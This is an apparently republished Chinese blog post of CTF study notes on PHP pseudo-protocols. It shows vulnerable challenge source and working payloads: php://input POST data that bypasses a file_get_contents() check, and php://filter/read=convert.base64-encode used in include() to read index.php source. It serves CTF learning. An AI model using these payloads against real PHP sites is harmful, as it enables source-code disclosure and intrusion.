CTF中遇见的PHP伪协议运用

来源:互联网 发布:ucloud 阿里云 哪个好 编辑:程序博客网 时间:2024/06/06 09:06

关于PHP伪协议中的总结网上已经有很多文章了
LoRexxar的PHP伪协议总结
PHP伪协议
官方文档

以下都是在做CTF题目的时候遇见的一些知识点,每遇到一点就会在这面做一些总结



php://input



php://input 是个可以访问请求的原始数据的只读流。因为它不依赖于特定的 php.ini 指令。
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

使用实例

// [POSTDATA] 123456echo file_get_contents("php://input", "r"); //123456

看了一些文章,使用方式好像就这样一种
主要还是对于伪协议的理解不够,当初比较傻,没看其他文章的前提下自我推测了一下为什么这样用,自己推测的原理附在这下面了


在文章PHP伪协议有这么一个实际例子

实例源码

<!--$user = $_GET["user"];$file = $_GET["file"];$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){    echo "hello admin!<br>";    include($file); //class.php}else{    echo "you are not admin ! ";} -->// 解法为  url/index.php?user=php://input  // [POSTDATA] the user is admin// 最后输出为hello admin!并且包含对应文件

原理过程

自己猜的,求大佬指点

首先先对以下两点进行了解
1. file_get_contents()
2. php://input (开头已经提到了)

file_get_contents()

在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法,并且给出了几个运用实例。
在实例中可以发现,file_get_contents()的$filename参数不仅仅为文件路径,还可以是一个URL(伪协议)。

echo file_get_contents('http://www.baidu.com', 'r');// 将会在该页面中输出一张和百度一模一样的页面

这个URL应该也是PHP伪协议中http://中的运用


接下来过程就很好理解了
file_get_contents() 解析传入字符串发现是伪协议中的php://input,便读取了[POSTDATA]的数据保存为一个字符串。
既通过了验证。




php://filter

php://filter是我们常常使用的一个伪协议,在任意文件读取,甚至getshell的时候都有利用的机会。
在include函数的使用上,经常会造成任意文件读取漏洞
file_get_contents()和file_put_contents()这样函数下,常常会构成getshell等更严重的漏洞。

更具体的可以看LoRexxar的PHP伪协议总结
这边说CTF中遇到的使用实例

任意文件读取

实例为bugKu中WEB的welcome to bugkuctf

$user = $_GET["txt"];  $file = $_GET["file"];  $pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){      echo "hello admin!<br>";      include($file); //hint.php  }else{      echo "you are not admin ! ";  }  // 条件一使用php://input即可绕过,上面有介绍// 这边发现include()动态包含了$file参数// 传入file=php://filter/read=convert.base64-encode/resource=index.php 即可得到index.php的BASE64加密的源码

另外还有一个测试
测试结果为include()或require()中可以包含php://filter,可以得到加密后的源文件。
include_once()或require_once()不行







关于其他的一些应用,在做记录….

原创粉丝点击